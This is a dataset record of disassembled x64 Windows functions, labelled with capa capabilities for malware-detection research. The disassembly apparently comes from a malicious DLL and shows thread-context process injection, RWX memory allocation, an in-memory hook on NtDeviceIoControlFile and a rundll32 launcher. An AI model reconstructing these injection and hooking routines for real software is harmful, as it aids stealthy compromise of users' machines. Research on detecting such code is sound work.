joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ae20
Capabilities:
Delete file

Disassembly:
mov r11, rsp
sub rsp, 0x198
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov qword [r11 + 0x20], rbx
mov qword [r11 - 8], rsi
mov rbx, rcx
mov qword [r11 - 0x10], rdi
mov esi, r8d
mov edi, edx
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR80.dll_memset
lea rdx, [rsp + 0x60]
mov r8d, edi
mov rcx, rbx
call fcn.10004db0
mov rbx, qword [rsp + 0x1b8]
cmp eax, edi
mov rdi, qword [rsp + 0x188]
je 0x1000ae8d
mov eax, 0xffffffff
jmp 0x1000aeec
test esi, esi
je 0x1000aedc
xor eax, eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rax
mov word [rsp + 0x40], 0x614
call qword [0x100356f8]
jmp 0x1000aee7
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rsi, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x198
ret

Function at 0x1000b680
Capabilities:
Get file attributes

Disassembly:
mov r11, rsp
sub rsp, 0x308
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rdi
mov rdi, rcx
mov ebx, edx
lea rcx, [r11 - 0x128]
mov r8d, 0x104
xor edx, edx
call sub.MSVCR80.dll_memset
lea rdx, [rsp + 0x1e0]
mov r8d, ebx
mov rcx, rdi
call fcn.10004db0
cmp eax, ebx
mov rbx, qword [rsp + 0x320]
jne 0x1000b7a0
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 0x68]
call sub.MSVCR80.dll_memset
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xa0]
xor edx, edx
mov r8d, 0x140
mov dword [rsp + 0x50], eax
call sub.MSVCR80.dll_memset
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
je 0x1000b779
mov ecx, dword [rsp + 0xc0]
mov rdx, qword [rsp + 0xa4]
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0xac]
mov dword [rsp + 0x4c], ecx
mov ecx, dword [rsp + 0xbc]
mov qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0xb4]
mov dword [rsp + 0x48], ecx
mov rcx, rax
mov qword [rsp + 0x40], rdx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r9, [rsp + 0x30]
mov edx, 0xa022
mov r8d, 0xffffffff
mov rcx, rdi
mov word [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x68
call fcn.10004e70
mov rdi, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x308
ret

Function at 0x1000b7c0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
mov rbx, rax
je 0x1000b7f0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x1000b800
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
sub rsp, 0xe8
test edx, edx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov esi, edx
mov rbp, rcx
jg 0x1000b825
mov eax, 0xffffffff
jmp 0x1000b9ea
lea eax, [rdx + 1]
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0x108], rdi
movsxd rdi, eax
mov rcx, rdi
call sub.MSVCR80.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
test rax, rax
mov rbx, rax
je 0x1000b890
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.MSVCR80.dll_memset
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call fcn.10004db0
cmp eax, esi
jne 0x1000b888
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
cmp rcx, 0x104
jb 0x1000b89a
mov rcx, rbx
call sub.MSVCR80.dll_void___cdecl_operator_delete_void____ptr64_
mov eax, 0xffffffff
jmp 0x1000b9da
lea eax, [rsi + 0x10]
lea rbp, [rbx + rcx + 2]
mov qword [rsp + 0xe0], r12
movzx r12d, byte [rbx + rcx + 1]
movsxd rcx, eax
call sub.MSVCR80.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov rcx, 0xffffffffffffffff
mov word [rax], 0x22
mov rdi, rax
mov rsi, rax
xor eax, eax
repne scasb al, byte [rdi]
xor edx, edx
movzx ecx, byte [rbx + rdx]
add rdx, 1
test cl, cl
mov byte [rdi + rdx - 2], cl
jne 0x1000b8d0
mov rdi, rsi
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x10016950]
mov word [rdi - 1], ax
cmp byte [rbp], 0
je 0x1000b940
xor eax, eax
mov rdi, rsi
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x1001694c]
mov rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
xor ecx, ecx
nop
nop
nop
movzx eax, byte [rcx + rbp]
add rcx, 1
test al, al
mov byte [rdi + rcx - 2], al
jne 0x1000b930
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call sub.MSVCR80.dll_memset
mov eax, dword [rsp + 0x8c]
test r12b, r12b
mov edi, 1
mov dword [rsp + 0x50], 0x68
mov word [rsp + 0x90], 0
cmovne eax, edi
neg r12b
sbb edx, edx
xor ecx, ecx
mov dword [rsp + 0x8c], eax
and edx, 0x8000000
lea rax, [rsp + 0xc0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], edx
mov rdx, rsi
mov dword [rsp + 0x20], ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, rsi
call sub.MSVCR80.dll_void___cdecl_operator_delete_void____ptr64_
mov rcx, rbx
call sub.MSVCR80.dll_void___cdecl_operator_delete_void____ptr64_
mov r12, qword [rsp + 0xe0]
mov eax, edi
mov rbx, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
add rsp, 0xe8
ret
Function at 0x1000bce0
Capabilities:
Create thread

Disassembly:
mov r11, rsp
sub rsp, 0x148
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rdi
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
xor edx, edx
call sub.MSVCR80.dll_memset
lea rdx, [rsp + 0x20]
mov r8d, ebx
mov rcx, rdi
call fcn.10004db0
cmp eax, ebx
mov rbx, qword [rsp + 0x160]
jne 0x1000bd82
mov ecx, 0x218
call sub.MSVCR80.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x20]
lea r8, [rax + 0x10]
mov qword [rax], rdi
sub r8, rcx
nop
nop
nop
movzx ecx, byte [rdx]
add rdx, 1
test cl, cl
mov byte [r8 + rdx - 1], cl
jne 0x1000bd60
lea rcx, [0x1000ba10]
mov r8, rax
xor edx, edx
call qword [sym.imp.MSVCR80.dll__beginthread]
mov rdi, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x148
ret

Function at 0x1000be70
Capabilities:
Create directory

Disassembly:
sub rsp, 0x148
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x158], rbx
mov rbx, rcx
call fcn.1000bdb0
test eax, eax
je 0x1000bf9d
xor eax, eax
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], rdi
mov rdi, rbx
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
cmp rcx, 3
ja 0x1000bed6
mov eax, 1
jmp 0x1000bf8d
lea rdx, [rsp + 0x20]
mov rcx, rbx
sub rdx, rbx
movzx eax, byte [rcx]
add rcx, 1
test al, al
mov byte [rdx + rcx - 1], al
jne 0x1000bee1
mov esi, 1
lea rcx, [rsp + 0x20]
lea edx, [rsi + 0x5b]
call qword [sym.imp.MSVCR80.dll_strchr]
cmp byte [rbx], 0x5c
jne 0x1000bf35
cmp byte [rbx + 1], 0x5c
jne 0x1000bf35
lea edx, [rsi + 0x5b]
lea rcx, [rsp + 0x22]
call qword [sym.imp.MSVCR80.dll_strchr]
test rax, rax
je 0x1000bf8d
lea rcx, [rax + 1]
mov edx, 0x5c
call qword [sym.imp.MSVCR80.dll_strchr]
test rax, rax
je 0x1000bf8b
lea rcx, [rax + 1]
mov edx, 0x5c
call qword [sym.imp.MSVCR80.dll_strchr]
mov rdi, rax
test rdi, rdi
je 0x1000bf4f
mov byte [rdi], 0
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000bf6d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000bf89
test rdi, rdi
je 0x1000bf8b
lea rcx, [rdi + 1]
mov edx, 0x5c
mov byte [rdi], 0x5c
call qword [sym.imp.MSVCR80.dll_strchr]
mov rdi, rax
jmp 0x1000bf47
xor esi, esi
mov eax, esi
mov rsi, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x168]
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x148
ret
Function at 0x1000df90
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.libmysql.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbx, rax
je 0x1000e187
lea rdx, str.mysql_close
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_free_result
mov rcx, rbx
mov qword [0x10035678], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_fetch_row
mov rcx, rbx
mov qword [0x10035680], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_list_dbs
mov rcx, rbx
mov qword [0x10035688], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_get_server_info
mov rcx, rbx
mov qword [0x10035690], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_error
mov rcx, rbx
mov qword [0x10035698], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_real_connect
mov rcx, rbx
mov qword [0x100356a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_init
mov rcx, rbx
mov qword [0x100356a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_fetch_field_direct
mov rcx, rbx
mov qword [0x100356b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_num_fields
mov rcx, rbx
mov qword [0x100356b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_store_result
mov rcx, rbx
mov qword [0x100356c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_query
mov rcx, rbx
mov qword [0x100356c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_next_result
mov rcx, rbx
mov qword [0x100356d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.mysql_field_count
mov rcx, rbx
mov qword [0x100356d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x10035678], 0
mov qword [0x100356e0], rax
je 0x1000e187
cmp qword [0x10035680], 0
je 0x1000e187
cmp qword [0x10035688], 0
je 0x1000e187
cmp qword [0x10035690], 0
je 0x1000e187
cmp qword [0x10035698], 0
je 0x1000e187
cmp qword [0x100356a0], 0
je 0x1000e187
cmp qword [0x100356a8], 0
je 0x1000e187
cmp qword [0x100356b0], 0
je 0x1000e187
cmp qword [0x100356b8], 0
je 0x1000e187
cmp qword [0x100356c0], 0
je 0x1000e187
cmp qword [0x100356c8], 0
je 0x1000e187
cmp qword [0x100356d0], 0
je 0x1000e187
cmp qword [0x100356d8], 0
je 0x1000e187
test rax, rax
je 0x1000e187
mov eax, 1
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1000f2c0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov qword [r11 + 0x20], rbx
mov qword [r11 - 8], rbp
mov qword [r11 - 0x10], rsi
mov qword [r11 - 0x20], r12
mov rbp, r8
mov rbx, rcx
mov r12, rdx
call fcn.1000f0c0
test eax, eax
mov esi, eax
jg 0x1000f307
xor eax, eax
jmp 0x1000f3eb
xor ecx, ecx
mov edx, 0x1000
mov qword [rsp + 0xe0], rdi
lea r9d, [rcx + 0x40]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov rdi, rax
je 0x1000f37a
mov rcx, rax
call fcn.10010330
mov edx, 0x90
lea rcx, [rsp + 0x40]
lea r8d, [rdx - 0x10]
call sub.MSVCR80.dll_memset
mov eax, dword [0x10016bc8]
lea r11, [rsp + 0x40]
mov dword [r11], eax
movzx eax, word [0x10016bcc]
mov r9d, esi
mov word [r11 + 4], ax
mov r8, rbx
mov rdx, r12
mov rcx, rdi
mov qword [rsp + 0x46], rdi
call fcn.1000f190
test eax, eax
jg 0x1000f37e
xor eax, eax
jmp 0x1000f3e3
cdqe
lea r9, [rsp + 0x30]
mov rcx, rbx
add rax, rdi
xor edi, edi
lea edx, [rdi + 0xe]
lea r8d, [rdi + 0x40]
mov qword [rbp], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000f3e1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9d, [rdi + 0xe]
lea r8, [rsp + 0x40]
mov rcx, rax
lea rax, [rsp + 0x38]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 0xe
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, edi
mov rdi, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe8]
mov rbp, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0xf8
ret
Function at 0x1000f5d0
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
mov r11, rsp
sub rsp, 0x628
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov qword [r11 + 0x20], rbx
mov qword [r11 - 8], rbp
mov rbp, rcx
mov qword [r11 - 0x10], rsi
mov rbx, rdx
mov esi, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r8d, 0x4c8
mov qword [rsp + 0x30], 0
call sub.MSVCR80.dll_memset
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x60], 0x100001
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000f6dc
cmp qword [rsp + 0x128], 0
je 0x1000f6dc
mov r9d, 0x1000
xor edx, edx
mov rcx, rbp
mov r8, r9
mov qword [rsp + 0x610], rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
mov rdi, rax
je 0x1000f6d4
lea rcx, [rsp + 0x500]
xor edx, edx
mov r8d, 0x100
call sub.MSVCR80.dll_memset
lea rcx, [rsp + 0x500]
call fcn.100104d0
mov rdx, qword [rsp + 0x128]
lea r8, [rsp + 0x500]
mov qword [rsp + 0x20], rdx
mov r9d, eax
mov rcx, rbp
mov rdx, rdi
call fcn.1000f430
test eax, eax
je 0x1000f6d4
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov qword [rsp + 0x128], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rdi, qword [rsp + 0x610]
mov rbp, qword [rsp + 0x620]
test esi, esi
mov rsi, qword [rsp + 0x618]
je 0x1000f6f9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rsp + 0x648]
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x628
ret

Function at 0x1000f720
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x40], rbx
mov edx, 0x104
mov byte [rcx], 0
mov qword [rsp + 0x48], rdi
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
mov rdi, rbx
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x10016670]
mov rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [0x1001f284]
nop
movzx eax, byte [rdx + rcx]
add rcx, 1
test al, al
mov byte [rdi + rcx - 2], al
jne 0x1000f770
mov edx, 0x2e
mov rcx, rbx
call qword [sym.imp.MSVCR80.dll_strchr]
mov rdi, qword [rsp + 0x48]
test rax, rax
mov rdx, rax
jne 0x1000f79f
mov byte [rbx], al
jmp 0x1000f7bc
mov eax, dword [str.32.dll]
mov dword [rdx], eax
movzx eax, word [0x10016bd4]
mov word [rdx + 4], ax
movzx eax, byte [0x10016bd6]
mov byte [rdx + 6], al
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000f7cd
mov byte [rbx], 0
mov rbx, qword [rsp + 0x40]
add rsp, 0x28
ret
Function at 0x1000f7e0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes

Disassembly:
mov r11, rsp
sub rsp, 0x558
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0x530], rax
mov qword [r11 - 8], rbx
mov qword [r11 - 0x10], rsi
lea rcx, [r11 - 0x368]
mov esi, r9d
mov ebx, edx
call fcn.1000f720
cmp byte [rsp + 0x1f0], 0
je 0x1000f95f
lea rcx, [rsp + 0xe0]
mov edx, 0x104
mov qword [rsp + 0x540], rdi
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
lea rdi, [rsp + 0xe0]
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str._syswow64_rundll32.exe]
lea rcx, [rsp + 0xe0]
mov qword [rdi - 1], rax
mov rax, qword [0x10016bf8]
mov qword [rdi + 7], rax
mov eax, dword [0x10016c00]
mov dword [rdi + 0xf], eax
movzx eax, word [0x10016c04]
mov word [rdi + 0x13], ax
movzx eax, byte [0x10016c06]
mov byte [rdi + 0x15], al
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rdi, qword [rsp + 0x540]
cmp eax, 0xffffffff
je 0x1000f95f
lea r9, [rsp + 0x1f0]
lea r8, [rsp + 0xe0]
lea rdx, str._s__s_hk32__ld__ld
lea rcx, [rsp + 0x300]
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.MSVCR80.dll_sprintf]
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call sub.MSVCR80.dll_memset
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x300]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x70], 0x68
mov word [rsp + 0xb0], 0
mov dword [rsp + 0x20], eax
mov dword [rsp + 0xac], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000f95f
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [rsp + 0x548]
mov rbx, qword [rsp + 0x550]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x558
ret
Function at 0x100101d0
Capabilities:
Allocate or change rwx memory
Check os version

Disassembly:
push rbx
sub rsp, 0x100
mov rax, qword [0x1001f320]
xor rax, rsp
mov qword [rsp + 0xf0], rax
call fcn.1000fb50
test eax, eax
je 0x10010215
lea r9, [0x100356e8]
lea r8, [0x1000f990]
lea rdx, str.CreateProcessW
lea rcx, [0x10016640]
call fcn.1000fad0
lea rcx, [rsp + 0x54]
xor edx, edx
mov r8d, 0x90
lea rbx, str.iphlpapi.dll
call sub.MSVCR80.dll_memset
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10010258
cmp dword [rsp + 0x54], 6
lea rax, str.nsi.dll
cmovb rax, rbx
mov rbx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, str.NtDeviceIoControlFile
lea rdx, str.ntdll.dll
mov rcx, rax
call fcn.1000fbf0
test rax, rax
mov rbx, rax
je 0x100102f9
cmp qword [0x100356f0], 0
jne 0x100102f9
mov rcx, qword [rax]
mov edx, 8
lea rax, [0x1000fd10]
mov qword [0x100356f0], rcx
lea r9, [rsp + 0x30]
lea r8d, [rdx - 4]
mov rcx, rbx
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100102f9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov r9d, 8
mov rcx, rax
lea rax, [rsp + 0x40]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.10010cd0
add rsp, 0x100
pop rbx
ret
Function at 0x10011327
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1001f320]
jne 0x10010cea
rol rcx, 0x10
test cx, 0xffff
jne 0x10010ce6
repz ret
ror rcx, 0x10
jmp 0x10011280
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100358f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x100359e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10011305
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100358f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x10011327
mov rax, qword [rsp + 0x88]
mov qword [0x100359e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x10035988], rax
mov rax, qword [0x100359e8]
mov qword [0x10035860], rax
mov rax, qword [rsp + 0x90]
mov qword [0x10035970], rax
mov dword [0x10035850], 0xc0000409
mov dword [0x10035854], 0x20001
mov rax, qword [0x1001f320]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1001f328]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x100358e8], eax
mov ecx, 1
call sub.MSVCR80.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x10016f98]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x100358e8], 0
jne 0x100113ae
mov ecx, 1
call sub.MSVCR80.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x10012830
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x30], rbx
mov ebx, dword [rcx + 0x44]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x38], rbp
mov rdi, rcx
mov qword [rsp + 0x40], rsi
nop
mov edx, dword [rdi + 0x94]
mov esi, dword [rdi + 0x58]
mov eax, dword [rdi + 0x44]
sub esi, dword [rdi + 0x9c]
lea ecx, [rbx + rax - 0x106]
sub esi, edx
cmp edx, ecx
jb 0x100128ec
mov rcx, qword [rdi + 0x50]
mov r8, rbx
lea rdx, [rcx + rbx]
call sub.MSVCR80.dll_memcpy
mov r8d, dword [rdi + 0x74]
mov rax, qword [rdi + 0x68]
sub dword [rdi + 0x98], ebx
sub dword [rdi + 0x94], ebx
sub dword [rdi + 0x84], ebx
lea rdx, [rax + r8*2]
nop
movzx eax, word [rdx - 2]
sub rdx, 2
cmp eax, ebx
jb 0x100128b0
sub eax, ebx
jmp 0x100128b2
xor eax, eax
add r8d, 0xffffffff
mov word [rdx], ax
jne 0x100128a0
mov rax, qword [rdi + 0x60]
mov edx, ebx
lea rcx, [rax + rbx*2]
nop
nop
nop
movzx eax, word [rcx - 2]
sub rcx, 2
cmp eax, ebx
jb 0x100128e0
sub eax, ebx
jmp 0x100128e2
xor eax, eax
add edx, 0xffffffff
mov word [rcx], ax
jne 0x100128d0
add esi, ebx
mov rcx, qword [rdi]
cmp dword [rcx + 8], 0
je 0x10012967
mov edx, dword [rdi + 0x9c]
mov eax, dword [rdi + 0x94]
mov r8d, esi
add rdx, rax
add rdx, qword [rdi + 0x50]
call fcn.10012400
add dword [rdi + 0x9c], eax
mov r9d, dword [rdi + 0x9c]
cmp r9d, 3
jb 0x10012951
mov eax, dword [rdi + 0x94]
mov rdx, qword [rdi + 0x50]
mov ecx, dword [rdi + 0x80]
movzx r8d, byte [rax + rdx]
add eax, 1
mov dword [rdi + 0x70], r8d
movzx eax, byte [rax + rdx]
shl r8d, cl
xor r8d, eax
and r8d, dword [rdi + 0x7c]
mov dword [rdi + 0x70], r8d
cmp r9d, 0x106
jae 0x10012967
mov rax, qword [rdi]
cmp dword [rax + 8], 0
jne 0x10012850
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
ret